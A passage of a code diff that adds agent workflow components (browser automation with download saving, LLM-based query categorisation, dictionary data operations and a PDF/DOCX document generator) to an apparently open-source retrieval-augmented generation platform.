+        storage_put = settings.STORAGE_IMPL.put
+        storage_rm = getattr(settings.STORAGE_IMPL, "rm", None)
+        insert_file = FileService.insert
+
+        for path in Path(download_dir).rglob("*"):
+            if not path.is_file():
+                continue
+            try:
+                if path.stat().st_size <= 0:
+                    continue
+                blob = path.read_bytes()
+            except OSError as e:
+                logging.warning("Browser failed to read downloaded file. path=%s, error=%s", path, e)
+                continue
+            if not blob:
+                continue
+            display_name = ""
+            blob_stored = False
+            try:
+                display_name = duplicate_name(FileService.query, name=path.name, parent_id=parent_id)
+                storage_put(parent_id, display_name, blob)
+                blob_stored = True
+                file_data = {
+                    "id": get_uuid(),
+                    "parent_id": parent_id,
+                    "tenant_id": tenant_id,
+                    "created_by": tenant_id,
+                    "type": filename_type(display_name),
+                    "name": display_name,
+                    "location": display_name,
+                    "size": len(blob),
+                }
+                inserted = insert_file(file_data)
+                downloaded_files.append(
+                    {
+                        "file_id": inserted.id,
+                        "name": inserted.name,
+                        "size": inserted.size,
+                        "parent_id": inserted.parent_id,
+                    }
+                )
+            except Exception as e:
+                if blob_stored and callable(storage_rm):
+                    try:
+                        storage_rm(parent_id, display_name)
+                    except Exception as rollback_err:
+                        logging.warning(
+                            "Browser rollback stored download failed. path=%s, parent_id=%s, display_name=%s, error=%s",
+                            path,
+                            parent_id,
+                            display_name,
+                            rollback_err,
+                        )
+                logging.error(
+                    "Browser failed to save download. path=%s, tenant_id=%s, parent_id=%s, display_name=%s, error=%s",
+                    path,
+                    tenant_id,
+                    parent_id,
+                    display_name,
+                    e,
+                )
+                continue
+        return downloaded_files
+
+    @staticmethod
+    def _extract_history_text(history: Any) -> str:
+        if history is None:
+            return ""
+
+        def pick_final_result(value: Any) -> str:
+            if value is None:
+                return ""
+            if isinstance(value, str):
+                return value.strip()
+            if isinstance(value, (int, float, bool)):
+                return str(value)
+            return ""
+
+        # Only trust browser-use's explicit final_result API/property.
+        final_result_fn = getattr(history, "final_result", None)
+        if callable(final_result_fn):
+            try:
+                final_result_value = final_result_fn()
+                return pick_final_result(final_result_value)
+            except Exception:
+                return ""
+        return pick_final_result(final_result_fn)
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 20 * 60)))
+    def _invoke(self, **kwargs):
+        profile_dir = None
+        persist_session = self._should_persist_session()
+        try:
+            self._prepare_input_values()
+            user_prompt = self._resolve_text(kwargs.get("prompts", self._param.prompts))
+            with tempfile.TemporaryDirectory(prefix="browser_use_upload_") as upload_dir, tempfile.TemporaryDirectory(prefix="browser_use_download_") as download_dir:
+                uploaded_files = self._prepare_upload_files(upload_dir)
+
+                upload_lines = [f"- file_id={item['file_id']}, name={item['name']}, local_path={item['local_path']}" for item in uploaded_files]
+                task_text = user_prompt
+                if upload_lines:
+                    task_text += "\n\nYou can upload files from these local paths when operating web pages:\n" + "\n".join(upload_lines)
+
+                upload_local_paths = [item.get("local_path", "") for item in uploaded_files if item.get("local_path")]
+                if persist_session:
+                    profile_dir = self._resolve_persistent_profile_dir()
+                    os.makedirs(profile_dir, exist_ok=True)
+                else:
+                    try:
+                        profile_dir = tempfile.mkdtemp(prefix="browser_use_profile_")
+                    except OSError:
+                        profile_dir = None
+                history = asyncio.run(self._run_browser_use_async(task_text, download_dir, upload_local_paths, profile_dir))
+                target_dir_id = FileService.get_root_folder(self._canvas.get_tenant_id())["id"]
+                downloaded_files = self._save_downloads(download_dir, target_dir_id)
+
+                self.set_output("content", self._extract_history_text(history))
+                self.set_output("downloaded_files", downloaded_files)
+                return self.output()
+        except Exception as e:
+            logging.exception("Browser invoke failed")
+            self.set_output("_ERROR", str(e))
+            return self.output()
+        finally:
+            if profile_dir and not persist_session:
+                shutil.rmtree(profile_dir, ignore_errors=True)
+
+    def thoughts(self) -> str:
+        return "Planning and executing browser actions..."

agent/component/categorize.py

@@ -0,0 +1,157 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import asyncio
+import logging
+import os
+import re
+from abc import ABC
+
+from common.constants import LLMType
+from api.db.services.llm_service import LLMBundle
+from api.db.joint_services.tenant_model_service import resolve_model_config
+from agent.component.llm import LLMParam, LLM
+from common.connection_utils import timeout
+from rag.llm.chat_model import ERROR_PREFIX
+
+
+class CategorizeParam(LLMParam):
+    """
+    Define the categorize component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.category_description = {}
+        self.query = "sys.query"
+        self.message_history_window_size = 1
+        self.update_prompt()
+
+    def check(self):
+        if not isinstance(self.message_history_window_size, int) or self.message_history_window_size < 0:
+            raise ValueError("[Categorize] Message window size cannot be negative")
+        self.check_empty(self.category_description, "[Categorize] Category examples")
+        for k, v in self.category_description.items():
+            if not k:
+                raise ValueError("[Categorize] Category name can not be empty!")
+            if not v.get("to"):
+                raise ValueError(f"[Categorize] 'To' of category {k} can not be empty!")
+
+    def get_input_form(self) -> dict[str, dict]:
+        return {"query": {"type": "line", "name": "Query"}}
+
+    def update_prompt(self):
+        cate_lines = []
+        for c, desc in self.category_description.items():
+            for line in desc.get("examples", []):
+                if not line:
+                    continue
+                cate_lines.append('USER: "' + re.sub(r"\n", "    ", line, flags=re.DOTALL) + '" → ' + c)
+
+        descriptions = []
+        for c, desc in self.category_description.items():
+            if desc.get("description"):
+                descriptions.append("\n------\nCategory: {}\nDescription: {}".format(c, desc["description"]))
+
+        self.sys_prompt = """
+You are an advanced classification system that categorizes user questions into specific types. Analyze the input question and classify it into ONE of the following categories:
+{}
+
+Here's description of each category:
+ - {}
+
+---- Instructions ----
+ - Consider both explicit mentions and implied context
+ - Prioritize the most specific applicable category
+ - Return only the category name without explanations
+ - Use "Other" only when no other category fits
+
+ """.format("\n - ".join(list(self.category_description.keys())), "\n".join(descriptions))
+
+        if cate_lines:
+            self.sys_prompt += """
+---- Examples ----
+{}
+""".format("\n".join(cate_lines))
+
+
+class Categorize(LLM, ABC):
+    component_name = "Categorize"
+
+    def get_input_elements(self) -> dict[str, dict]:
+        query_key = self._param.query or "sys.query"
+        elements = self.get_input_elements_from_text(f"{{{query_key}}}")
+        if not elements:
+            logging.warning(f"[Categorize] input element not detected for query key: {query_key}")
+        return elements
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10 * 60)))
+    async def _invoke_async(self, **kwargs):
+        if self.check_if_canceled("Categorize processing"):
+            return
+
+        msg = self._canvas.get_history(self._param.message_history_window_size)
+        if not msg:
+            msg = [{"role": "user", "content": ""}]
+        query_key = self._param.query or "sys.query"
+        if query_key in kwargs:
+            query_value = kwargs[query_key]
+        else:
+            query_value = self._canvas.get_variable_value(query_key)
+        if query_value is None:
+            query_value = ""
+        msg[-1]["content"] = query_value
+        self.set_input_value(query_key, msg[-1]["content"])
+        self._param.update_prompt()
+        chat_model_config = resolve_model_config(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
+        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), chat_model_config)
+
+        user_prompt = """
+---- Real Data ----
+{} →
+""".format(" | ".join(['{}: "{}"'.format(c["role"].upper(), re.sub(r"\n", "", c["content"], flags=re.DOTALL)) for c in msg]))
+
+        if self.check_if_canceled("Categorize processing"):
+            return
+
+        ans = await chat_mdl.async_chat(self._param.sys_prompt, [{"role": "user", "content": user_prompt}], self._param.gen_conf())
+        logging.info(f"input: {user_prompt}, answer: {str(ans)}")
+        if ERROR_PREFIX in ans:
+            raise Exception(ans)
+
+        if self.check_if_canceled("Categorize processing"):
+            return
+
+        # Count the number of times each category appears in the answer.
+        category_counts = {}
+        for c in self._param.category_description.keys():
+            count = ans.lower().count(c.lower())
+            category_counts[c] = count
+
+        cpn_ids = list(self._param.category_description.items())[-1][1]["to"]
+        max_category = list(self._param.category_description.keys())[-1]
+        if any(category_counts.values()):
+            max_category = max(category_counts.items(), key=lambda x: x[1])[0]
+            cpn_ids = self._param.category_description[max_category]["to"]
+
+        self.set_output("category_name", max_category)
+        self.set_output("_next", cpn_ids)
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10 * 60)))
+    def _invoke(self, **kwargs):
+        return asyncio.run(self._invoke_async(**kwargs))
+
+    def thoughts(self) -> str:
+        return "Which should it falls into {}? ...".format(",".join([f"`{c}`" for c, _ in self._param.category_description.items()]))

agent/component/data_operations.py

@@ -0,0 +1,202 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+import ast
+import os
+from agent.component.base import ComponentBase, ComponentParamBase
+from api.utils.api_utils import timeout
+
+
+class DataOperationsParam(ComponentParamBase):
+    """
+    Define the Data Operations component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.query = []
+        self.operations = "literal_eval"
+        self.select_keys = []
+        self.filter_values = []
+        self.updates = []
+        self.remove_keys = []
+        self.rename_keys = []
+        self.outputs = {"result": {"value": [], "type": "Array of Object"}}
+
+    def check(self):
+        self.check_valid_value(self.operations, "Support operations", ["select_keys", "literal_eval", "combine", "filter_values", "append_or_update", "remove_keys", "rename_keys"])
+
+
+class DataOperations(ComponentBase, ABC):
+    component_name = "DataOperations"
+
+    def get_input_form(self) -> dict[str, dict]:
+        return {k: {"name": o.get("name", ""), "type": "line"} for input_item in (self._param.query or []) for k, o in self.get_input_elements_from_text(input_item).items()}
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10 * 60)))
+    def _invoke(self, **kwargs):
+        self.input_objects = []
+        inputs = getattr(self._param, "query", None)
+        if not isinstance(inputs, (list, tuple)):
+            inputs = [inputs]
+        for input_ref in inputs:
+            input_object = self._canvas.get_variable_value(input_ref)
+            self.set_input_value(input_ref, input_object)
+            if input_object is None:
+                continue
+            if isinstance(input_object, dict):
+                self.input_objects.append(input_object)
+            elif isinstance(input_object, list):
+                self.input_objects.extend(x for x in input_object if isinstance(x, dict))
+            else:
+                continue
+        if self._param.operations == "select_keys":
+            self._select_keys()
+        elif self._param.operations == "literal_eval":
+            self._literal_eval()
+        elif self._param.operations == "combine":
+            self._combine()
+        elif self._param.operations == "filter_values":
+            self._filter_values()
+        elif self._param.operations == "append_or_update":
+            self._append_or_update()
+        elif self._param.operations == "remove_keys":
+            self._remove_keys()
+        else:
+            self._rename_keys()
+
+    def _select_keys(self):
+        filter_criteria: list[str] = self._param.select_keys
+        results = [{key: value for key, value in data_dict.items() if key in filter_criteria} for data_dict in self.input_objects]
+        self.set_output("result", results)
+
+    def _recursive_eval(self, data):
+        if isinstance(data, dict):
+            return {k: self._recursive_eval(v) for k, v in data.items()}
+        if isinstance(data, list):
+            return [self._recursive_eval(item) for item in data]
+        if isinstance(data, str):
+            try:
+                if data.strip().startswith(("{", "[", "(", "'", '"')) or data.strip().lower() in ("true", "false", "none") or data.strip().replace(".", "").isdigit():
+                    return ast.literal_eval(data)
+            except (ValueError, SyntaxError, TypeError, MemoryError):
+                return data
+            else:
+                return data
+        return data
+
+    def _literal_eval(self):
+        self.set_output("result", self._recursive_eval(self.input_objects))
+
+    def _combine(self):
+        result = {}
+        for obj in self.input_objects:
+            for key, value in obj.items():
+                if key not in result:
+                    result[key] = value
+                elif isinstance(result[key], list):
+                    if isinstance(value, list):
+                        result[key].extend(value)
+                    else:
+                        result[key].append(value)
+                else:
+                    result[key] = [result[key], value] if not isinstance(value, list) else [result[key], *value]
+        self.set_output("result", result)
+
+    def norm(self, v):
+        s = "" if v is None else str(v)
+        return s
+
+    def match_rule(self, obj, rule):
+        key = rule.get("key")
+        op = (rule.get("operator") or "equals").lower()
+        target = self.norm(rule.get("value"))
+        target = self._canvas.get_value_with_variable(target) or target
+        if key not in obj:
+            return False
+        val = obj.get(key, None)
+        v = self.norm(val)
+        if op == "=":
+            return v == target
+        if op == "≠":
+            return v != target
+        if op == "contains":
+            return target in v
+        if op == "start with":
+            return v.startswith(target)
+        if op == "end with":
+            return v.endswith(target)
+        return False
+
+    def _filter_values(self):
+        results = []
+        rules = getattr(self._param, "filter_values", None) or []
+        for obj in self.input_objects:
+            if not rules:
+                results.append(obj)
+                continue
+            if all(self.match_rule(obj, r) for r in rules):
+                results.append(obj)
+        self.set_output("result", results)
+
+    def _append_or_update(self):
+        results = []
+        updates = getattr(self._param, "updates", []) or []
+        for obj in self.input_objects:
+            new_obj = dict(obj)
+            for item in updates:
+                if not isinstance(item, dict):
+                    continue
+                k = (item.get("key") or "").strip()
+                if not k:
+                    continue
+                new_obj[k] = self._canvas.get_value_with_variable(item.get("value")) or item.get("value")
+            results.append(new_obj)
+        self.set_output("result", results)
+
+    def _remove_keys(self):
+        results = []
+        remove_keys = getattr(self._param, "remove_keys", []) or []
+
+        for obj in self.input_objects or []:
+            new_obj = dict(obj)
+            for k in remove_keys:
+                if not isinstance(k, str):
+                    continue
+                new_obj.pop(k, None)
+            results.append(new_obj)
+        self.set_output("result", results)
+
+    def _rename_keys(self):
+        results = []
+        rename_pairs = getattr(self._param, "rename_keys", []) or []
+
+        for obj in self.input_objects or []:
+            new_obj = dict(obj)
+            for pair in rename_pairs:
+                if not isinstance(pair, dict):
+                    continue
+                old = (pair.get("old_key") or "").strip()
+                new = (pair.get("new_key") or "").strip()
+                if not old or not new or old == new:
+                    continue
+                if old in new_obj:
+                    new_obj[new] = new_obj.pop(old)
+            results.append(new_obj)
+        self.set_output("result", results)
+
+    def thoughts(self) -> str:
+        return "DataOperation in progress"

agent/component/docs_generator.py

@@ -0,0 +1,645 @@
+import base64
+import logging
+import json
+import os
+import re
+import shutil
+import tempfile
+from abc import ABC
+from datetime import datetime
+from functools import partial
+from io import BytesIO
+from xml.sax.saxutils import escape
+
+from agent.component.base import ComponentParamBase
+from api.utils.api_utils import timeout
+from api.utils.file_response import agent_attachment_preview_path
+from common import settings
+from common.misc_utils import get_uuid
+from .message import Message
+
+
+def sanitize_filename(name: str, extension: str) -> str:
+    if not name:
+        return f"file.{extension}"
+
+    name = str(name).strip()
+    name = re.sub(r'[\\/\x00-\x1f\?\#\%\*\:\|\<\>"]', " ", name)
+    name = re.sub(r"\s+", " ", name).strip(" .")
+
+    if not name:
+        return f"file.{extension}"
+
+    base, _ = os.path.splitext(name)
+    base = base[:180].rstrip() or "file"
+    return f"{base}.{extension}"
+
+
+class DocGeneratorParam(ComponentParamBase):
+    """
+    Define the Docs Generator component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.output_format = "pdf"  # pdf, docx, txt, markdown, html
+        self.content = ""
+        self.filename = ""
+        self.header_text = ""
+        self.footer_text = ""
+        self.watermark_text = ""
+        self.add_page_numbers = True
+        self.add_timestamp = True
+        self.include_download_info_in_content = False
+        self.font_size = 12
+        self.outputs = {
+            "doc_id": {"value": "", "type": "string"},
+            "filename": {"value": "", "type": "string"},
+            "mime_type": {"value": "", "type": "string"},
+            "size": {"value": 0, "type": "number"},
+            "download": {"value": "", "type": "string"},
+        }
+
+    def check(self):
+        self.check_empty(self.content, "[DocGenerator] Content")
+        self.check_valid_value(
+            self.output_format,
+            "[DocGenerator] Output format",
+            ["pdf", "docx", "txt", "markdown", "html"],
+        )
+        self.check_positive_number(self.font_size, "[DocGenerator] Font size")
+        if self.font_size < 12:
+            raise ValueError("[DocGenerator] Font size must be greater than or equal to 12")
+
+
+class DocGenerator(Message, ABC):
+    component_name = "DocGenerator"
+    _default_output_directory = os.path.join(tempfile.gettempdir(), "doc_outputs")
+    _overlay_margin = 36
+    _overlay_font_size = 9
+    _pdf_main_font = "Noto Sans CJK SC"
+    _pdf_cjk_font = "Noto Sans CJK SC"
+    _pdf_overlay_font = "STSong-Light"
+
+    def get_input_form(self) -> dict[str, dict]:
+        return {
+            "content": {
+                "name": "Content",
+                "type": "text",
+            }
+        }
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10 * 60)))
+    def _invoke(self, **kwargs):
+        file_path = None
+        try:
+            content = self._resolve_content(kwargs)
+            output_format = self._param.output_format or "pdf"
+
+            try:
+                if output_format == "pdf":
+                    file_path, file_bytes = self._generate_pdf(content)
+                    mime_type = "application/pdf"
+                elif output_format == "docx":
+                    file_path, file_bytes = self._generate_docx(content)
+                    mime_type = "application/vnd.openxmlformats-officedocument.wordprocessingml.document"
+                elif output_format == "txt":
+                    file_path, file_bytes = self._generate_txt(content)
+                    mime_type = "text/plain"
+                elif output_format == "markdown":
+                    file_path, file_bytes = self._generate_markdown(content)
+                    mime_type = "text/markdown"
+                elif output_format == "html":
+                    file_path, file_bytes = self._generate_html(content)
+                    mime_type = "text/html"
+                else:
+                    raise Exception(f"Unsupported output format: {output_format}")
+
+                filename = os.path.basename(file_path)
+                if not file_bytes:
+                    raise Exception("Document file is empty")
+
+                file_size = len(file_bytes)
+                file_base64 = base64.b64encode(file_bytes).decode("utf-8")
+                doc_id = get_uuid()
+                settings.STORAGE_IMPL.put(self._canvas.get_tenant_id(), doc_id, file_bytes)
+
+                logging.info(
+                    "Successfully generated %s: %s (Size: %s bytes)",
+                    output_format.upper(),
+                    filename,
+                    file_size,
+                )
+
+                download_info = {
+                    "doc_id": doc_id,
+                    "filename": filename,
+                    "mime_type": mime_type,
+                    "size": file_size,
+                    "base64": file_base64,
+                    "preview_url": agent_attachment_preview_path(doc_id, ext=output_format, mime_type=mime_type),
+                    "include_download_info_in_content": self._param.include_download_info_in_content,
+                }
+                self.set_output("doc_id", doc_id)
+                self.set_output("filename", filename)
+                self.set_output("mime_type", mime_type)
+                self.set_output("size", file_size)
+                self.set_output("download", json.dumps(download_info))
+                return download_info
+
+            except Exception as e:
+                logging.exception("Error generating %s document", output_format)
+                self.set_output("_ERROR", f"Document generation failed: {str(e)}")
+                raise
+
+        except Exception as e:
+            logging.exception("Error in DocGenerator._invoke")
+            self.set_output("_ERROR", f"Document generation failed: {str(e)}")
+            raise
+        finally:
+            if file_path and os.path.exists(file_path):
+                os.remove(file_path)
+
+    def _resolve_content(self, kwargs: dict) -> str:
+        content = self._param.content or kwargs.get("content", "") or ""
+        logging.info("Starting document generation, content length: %s chars", len(content))
+
+        if content:
+
+            def _replace_variable(match_obj: re.Match[str]) -> str:
+                match = match_obj.group(1)
+                try:
+                    var_value = self._canvas.get_variable_value(match)
+                    if var_value is None:
+                        return ""
+                    if isinstance(var_value, partial):
+                        resolved_content = ""
+                        for chunk in var_value():
+                            resolved_content += chunk
+                        return resolved_content
+                    return self._stringify_message_value(var_value, fallback_to_str=True)
+                except Exception as e:
+                    logging.warning("Error resolving variable %s: %s", match, str(e))
+                    return f"[ERROR: {str(e)}]"
+
+            content = re.sub(
+                self.variable_ref_patt,
+                _replace_variable,
+                content,
+                flags=re.DOTALL,
+            )
+
+        return self._strip_thinking(content)
+
+    def _get_output_directory(self) -> str:
+        os.makedirs(self._default_output_directory, exist_ok=True)
+        return self._default_output_directory
+
+    def _build_output_filename(self, output_format: str) -> str:
+        import uuid
+
+        if self._param.filename:
+            return sanitize_filename(self._param.filename, output_format.lower())
+
+        timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
+        return f"document_{timestamp}_{uuid.uuid4().hex[:8]}.{output_format}"
+
+    def _get_timestamp_text(self) -> str:
+        return f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"
+
+    def _write_bytes_output(self, content: bytes, extension: str) -> tuple[str, bytes]:
+        output_directory = self._get_output_directory()
+        filename = self._build_output_filename(extension)
+        file_path = os.path.join(output_directory, filename)
+        with open(file_path, "wb") as f:
+            f.write(content)
+        return file_path, content
+
+    def _build_markdown_source(self, content: str, include_timestamp_in_body: bool = False) -> str:
+        if not (include_timestamp_in_body and self._param.add_timestamp):
+            return content
+        return f"{self._get_timestamp_text()}\n\n{content}"
+
+    def _get_heading_sizes(self) -> tuple[int, int, int]:
+        base = int(self._param.font_size)
+        return base + 6, base + 4, base + 2
+
+    def _generate_pandoc_binary_output(
+        self,
+        content: str,
+        target_format: str,
+        extension: str,
+        include_timestamp_in_body: bool = False,
+        extra_args: list[str] | None = None,
+    ) -> tuple[str, bytes]:
+        import pypandoc
+
+        output_directory = self._get_output_directory()
+        filename = self._build_output_filename(extension)
+        file_path = os.path.join(output_directory, filename)
+        markdown_content = self._build_markdown_source(
+            content,
+            include_timestamp_in_body=include_timestamp_in_body,
+        )
+
+        pypandoc.convert_text(
+            markdown_content,
+            to=target_format,
+            format="markdown",
+            outputfile=file_path,
+            extra_args=extra_args or [],
+        )
+
+        with open(file_path, "rb") as f:
+            file_bytes = f.read()
+
+        return file_path, file_bytes
+
+    def _generate_pandoc_text_output(
+        self,
+        content: str,
+        target_format: str,
+        extension: str,
+        include_timestamp_in_body: bool = True,
+    ) -> tuple[str, bytes]:
+        import pypandoc
+
+        markdown_content = self._build_markdown_source(
+            content,
+            include_timestamp_in_body=include_timestamp_in_body,
+        )
+        converted_content = pypandoc.convert_text(
+            markdown_content,
+            to=target_format,
+            format="markdown",
+        )
+        return self._write_bytes_output(converted_content.encode("utf-8"), extension)
+
+    def _select_pdf_engine(self) -> str:
+        if shutil.which("xelatex"):
+            return "xelatex"
+        raise Exception("No PDF engine found. Install xelatex.")
+
+    def _get_pdf_font_args(self) -> list[str]:
+        return [
+            "-V",
+            f"mainfont={self._pdf_main_font}",
+            "-V",
+            f"CJKmainfont={self._pdf_cjk_font}",
+        ]
+
+    def _get_pdf_overlay_font_name(self) -> str:
+        from reportlab.pdfbase import pdfmetrics
+        from reportlab.pdfbase.cidfonts import UnicodeCIDFont
+
+        try:
+            pdfmetrics.getFont(self._pdf_overlay_font)
+        except KeyError:
+            pdfmetrics.registerFont(UnicodeCIDFont(self._pdf_overlay_font))
+
+        return self._pdf_overlay_font
+
+    def _build_pdf_heading_overrides(self) -> str:
+        font_size = int(self._param.font_size)
+        leading = round(font_size * 1.2, 1)
+        h1_size, h2_size, h3_size = self._get_heading_sizes()
+        h1_leading = round(h1_size * 1.2, 1)
+        h2_leading = round(h2_size * 1.2, 1)
+        h3_leading = round(h3_size * 1.2, 1)
+
+        return rf"""
+\makeatletter
+\renewcommand\normalsize{{
+  \@setfontsize\normalsize{{{font_size}pt}}{{{leading}pt}}
+  \abovedisplayskip 12pt plus 3pt minus 7pt
+  \abovedisplayshortskip \z@ plus 3pt
+  \belowdisplayshortskip 6.5pt plus 3.5pt minus 3pt
+  \belowdisplayskip \abovedisplayskip
+  \let\@listi\@listI
+}}
+\normalsize
+\renewcommand\section{{\@startsection{{section}}{{1}}{{\z@}}{{-3.5ex \@plus -1ex \@minus -.2ex}}{{2.3ex \@plus .2ex}}{{\normalfont\fontsize{{{h1_size}pt}}{{{h1_leading}pt}}\selectfont\bfseries}}}}
+\renewcommand\subsection{{\@startsection{{subsection}}{{2}}{{\z@}}{{-3.25ex\@plus -1ex \@minus -.2ex}}{{1.5ex \@plus .2ex}}{{\normalfont\fontsize{{{h2_size}pt}}{{{h2_leading}pt}}\selectfont\bfseries}}}}
+\renewcommand\subsubsection{{\@startsection{{subsubsection}}{{3}}{{\z@}}{{-3.25ex\@plus -1ex \@minus -.2ex}}{{1.5ex \@plus .2ex}}{{\normalfont\fontsize{{{h3_size}pt}}{{{h3_leading}pt}}\selectfont\bfseries}}}}
+\makeatother
+""".strip()
+
+    def _write_temp_tex(self, content: str) -> str:
+        output_directory = self._get_output_directory()
+        with tempfile.NamedTemporaryFile(
+            mode="w",
+            encoding="utf-8",
+            suffix=".tex",
+            dir=output_directory,
+            delete=False,
+        ) as f:
+            f.write(content)
+            return f.name
+
+    def _should_apply_pdf_overlay(self) -> bool:
+        return any(
+            [
+                self._param.header_text,
+                self._param.footer_text,
+                self._param.watermark_text,
+                self._param.add_page_numbers,
+                self._param.add_timestamp,
+            ]
+        )
+
+    def _build_pdf_overlay_page(self, width: float, height: float, page_number: int):
+        if not self._should_apply_pdf_overlay():
+            return None
+
+        from pypdf import PdfReader
+        from reportlab.lib.colors import Color
+        from reportlab.pdfgen import canvas as pdf_canvas
+
+        buffer = BytesIO()
+        overlay = pdf_canvas.Canvas(buffer, pagesize=(width, height))
+        overlay_font = self._get_pdf_overlay_font_name()
+
+        if self._param.watermark_text:
+            overlay.saveState()
+            if hasattr(overlay, "setFillAlpha"):
+                overlay.setFillAlpha(0.15)
+            overlay.setFillColor(Color(0.6, 0.6, 0.6))
+            overlay.setFont(overlay_font, 48)
+            overlay.translate(width / 2, height / 2)
+            overlay.rotate(45)
+            overlay.drawCentredString(0, 0, self._param.watermark_text)
+            overlay.restoreState()
+
+        overlay.setFont(overlay_font, self._overlay_font_size)
+        overlay.setFillColor(Color(0.35, 0.35, 0.35))
+
+        if self._param.header_text:
+            overlay.drawString(
+                self._overlay_margin,
+                height - self._overlay_margin + 8,
+                self._param.header_text,
+            )
+
+        if self._param.footer_text:
+            overlay.drawString(
+                self._overlay_margin,
+                self._overlay_margin - 8,
+                self._param.footer_text,
+            )
+
+        if self._param.add_timestamp:
+            overlay.drawCentredString(
+                width / 2,
+                self._overlay_margin - 8,
+                self._get_timestamp_text(),
+            )
+
+        if self._param.add_page_numbers:
+            overlay.drawRightString(
+                width - self._overlay_margin,
+                self._overlay_margin - 8,
+                f"Page {page_number}",
+            )
+
+        overlay.save()
+        buffer.seek(0)
+        return PdfReader(buffer).pages[0]
+
+    def _apply_pdf_overlay(self, file_path: str) -> tuple[str, bytes]:
+        from pypdf import PdfReader, PdfWriter
+
+        if not self._should_apply_pdf_overlay():
+            with open(file_path, "rb") as f:
+                file_bytes = f.read()
+            return file_path, file_bytes
+
+        reader = PdfReader(file_path)
+        writer = PdfWriter()
+
+        for page_number, page in enumerate(reader.pages, start=1):
+            overlay_page = self._build_pdf_overlay_page(
+                float(page.mediabox.width),
+                float(page.mediabox.height),
+                page_number,
+            )
+            if overlay_page is not None:
+                page.merge_page(overlay_page)
+            writer.add_page(page)
+
+        temp_file = f"{file_path}.overlay"
+        with open(temp_file, "wb") as f:
+            writer.write(f)
+
+        os.replace(temp_file, file_path)
+        with open(file_path, "rb") as f:
+            file_bytes = f.read()
+        return file_path, file_bytes
+
+    def _clear_docx_container(self, container):
+        element = container._element
+        for child in list(element):
+            element.remove(child)
+
+    def _append_docx_field(self, run, instruction: str):
+        from docx.oxml import OxmlElement
+
+        begin = OxmlElement("w:fldChar")
+        begin.set(run.part.element.nsmap["w"] and "{http://schemas.openxmlformats.org/wordprocessingml/2006/main}fldCharType", "begin")
+
+        instr = OxmlElement("w:instrText")
+        instr.set("{http://www.w3.org/XML/1998/namespace}space", "preserve")
+        instr.text = instruction
+
+        end = OxmlElement("w:fldChar")
+        end.set(run.part.element.nsmap["w"] and "{http://schemas.openxmlformats.org/wordprocessingml/2006/main}fldCharType", "end")
+
+        run._r.append(begin)
+        run._r.append(instr)
+        run._r.append(end)
+
+    def _add_docx_watermark(self, section):
+        if not self._param.watermark_text:
+            return
+
+        from docx.enum.text import WD_ALIGN_PARAGRAPH
+        from docx.oxml import parse_xml
+
+        header = section.header
+        paragraph = header.add_paragraph()
+        paragraph.alignment = WD_ALIGN_PARAGRAPH.CENTER
+        run = paragraph.add_run()
+        watermark_xml = parse_xml(
+            rf"""
+            <w:pict
+              xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
+              xmlns:v="urn:schemas-microsoft-com:vml"
+              xmlns:o="urn:schemas-microsoft-com:office:office">
+              <v:shape id="PowerPlusWaterMarkObject"
+                o:spid="_x0000_s2049"
+                type="#_x0000_t136"
+                style="position:absolute;
+                  margin-left:0;
+                  margin-top:0;
+                  width:468pt;
+                  height:117pt;
+                  rotation:315;
+                  z-index:-251654144;
+                  mso-wrap-edited:f;
+                  mso-position-horizontal:center;
+                  mso-position-horizontal-relative:margin;
+                  mso-position-vertical:center;
+                  mso-position-vertical-relative:margin"
+                fillcolor="#d9d9d9"
+                stroked="f">
+                <v:fill opacity="0.18"/>
+                <v:textpath on="t" style="font-family:&quot;Calibri&quot;;font-size:1pt" string="{escape(self._param.watermark_text)}"/>
+              </v:shape>
+            </w:pict>
+            """
+        )
+        run._r.append(watermark_xml)
+
+    def _normalize_docx_section_geometry(self, section, default_section):
+        for attr in ("page_width", "left_margin", "right_margin"):
+            if getattr(section, attr) is None:
+                setattr(section, attr, getattr(default_section, attr))
+
+    def _get_docx_available_width(self, section):
+        page_width = section.page_width
+        left_margin = section.left_margin
+        right_margin = section.right_margin
+
+        if page_width is None or left_margin is None or right_margin is None:
+            raise ValueError("DOCX section geometry is incomplete after normalization.")
+
+        return page_width - left_margin - right_margin
+
+    def _decorate_docx(self, file_path: str) -> tuple[str, bytes]:
+        from docx import Document
+        from docx.enum.text import WD_TAB_ALIGNMENT
+        from docx.shared import Pt
+
+        document = Document(file_path)
+        default_section = Document().sections[0]
+        h1_size, h2_size, h3_size = self._get_heading_sizes()
+
+        style_map = {
+            "Normal": int(self._param.font_size),
+            "Heading 1": h1_size,
+            "Heading 2": h2_size,
+            "Heading 3": h3_size,
+        }
+        for style_name, size in style_map.items():
+            try:
